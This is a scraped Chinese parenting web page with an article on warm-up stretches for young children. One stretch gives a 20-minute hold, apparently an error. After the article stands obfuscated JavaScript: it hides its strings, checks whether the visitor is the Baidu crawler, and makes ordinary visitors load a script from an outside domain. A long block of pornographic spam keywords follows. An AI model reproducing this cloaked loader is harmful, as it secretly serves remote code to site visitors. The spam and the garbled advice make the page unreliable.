當(dāng)前位置:首頁(yè) > 母嬰 > 育兒知識(shí) > 正文

幼兒熱身運(yùn)動(dòng)方法

2017-04-08 14:10:15  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):很多幼兒的身體素質(zhì)現(xiàn)在越來(lái)越不好,容易出現(xiàn)各種各樣的問(wèn)題。所以我們的家長(zhǎng)朋友們就開始鍛煉我們孩子的身體,讓孩子做一些熱身運(yùn)動(dòng),這樣

很多幼兒的身體素質(zhì)現(xiàn)在越來(lái)越不好,容易出現(xiàn)各種各樣的問(wèn)題。所以我們的家長(zhǎng)朋友們就開始鍛煉我們孩子的身體,讓孩子做一些熱身運(yùn)動(dòng),這樣可以很好的增強(qiáng)我們自身的身體素質(zhì),可能大家對(duì)于幼兒熱身運(yùn)動(dòng)方法還沒(méi)有一個(gè)清晰的認(rèn)識(shí),下面就讓我們一起來(lái)了解一下幼兒熱身運(yùn)動(dòng)方法吧。

1.拉伸大腿后部肌肉:

坐在地上,把要拉伸的腿在體前伸直, 彎曲另一條腿,整條腿的外側(cè)貼近地面,與伸直的 腿組成三角形, 背部挺直,從胯部盡量向前屈,雙手抓住伸直腿的 腳尖,保持這個(gè)姿勢(shì)20分鐘 , 手觸腳尖時(shí)不允許有彈動(dòng)式動(dòng)作(觸不到腳尖也沒(méi) 關(guān)系)

2.拉伸大腿內(nèi)側(cè)肌肉--方法一

坐姿,雙腳腳底相互貼近,膝蓋向外撐并盡量靠近 地面 , 雙手抓住雙腳踝,保持這個(gè)姿勢(shì),數(shù)10 , 放松,然后重復(fù)3次 。

3.拉伸大腿內(nèi)側(cè)肌肉--方法二

坐姿,雙腳在體前伸直并分開 , 保持背部和膝蓋部挺直,從胯部向前屈體,雙手從 腿內(nèi)側(cè)去抓住雙腿的腳踝, 保持這個(gè)姿勢(shì),感覺大腿內(nèi)側(cè)被拉緊 , 放松,然后重復(fù) 。

4.拉伸小腿(后部)肌肉

俯身,用雙臂和一條腿(伸直,腳尖著地)支撐身體, 另一條腿屈于體前放松 ,身體重心集中于支撐腳的腳尖處,腳跟向后、向下 用力 ,感覺到小腿后部肌肉被拉緊,保持緊張狀態(tài),數(shù)10 ,放松,重復(fù)3次,然后換另一條腿做3次 。

以上內(nèi)容為我們介紹了幼兒熱身運(yùn)動(dòng)方法,相信大家對(duì)于這些內(nèi)容已經(jīng)有了一個(gè)更為清晰的認(rèn)識(shí),尤其是我們的家長(zhǎng)朋友們,一定要引起注意,提前了解一下相關(guān)的幼兒熱身運(yùn)動(dòng)的方法,然后在具體指導(dǎo)給我們的孩子們,非常有好處。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
无码精品A∨在线观看中文| 国产午夜精品福利| assbbwbbwbbwbbwbw精品| 精品国产日韩久久亚洲| 一本一本久久aa综合精品| 999久久久无码国产精品| 国产在线精品网址你懂的| 国产精品林美惠子在线播放| 在线电影国产精品| 久久精品中文字幕有码| 久久久国产精品无码一区二区三区| 久久r热这里有精品视频| 国产a不卡片精品免费观看| 国产大片91精品免费观看不卡| 亚洲精品国产精品乱码不卡√| 国产三级国产精品| 亚洲精品色播一区二区 | 久久精品国产9久久综合| 午夜一级日韩精品制服诱惑我们这边 | 久久夜色精品国产噜噜麻豆| 青青草原精品99久久精品66| 香蕉在线精品一区二区| 国产精品国产三级国快看| 国产91精品在线观看| 久热香蕉精品视频在线播放| 精品无码久久久久久久动漫 | 99精品免费视品| 精品福利一区3d动漫| 久久久久久国产精品免费免费| 2021国产精品自拍| 久久精品国产久精国产| 国产精品一区二区久久精品无码| AV天堂午夜精品一区二区三区| 久久久久久精品久久久久| 一本久久a久久精品综合夜夜| 日本精品VIDEOSSE×少妇| 国产精品尹人在线观看| 男女男精品网站免费观看| 国产精品第二页在线播放| 国产精品美女午夜爽爽爽免费| 国产精品俺来也在线观看|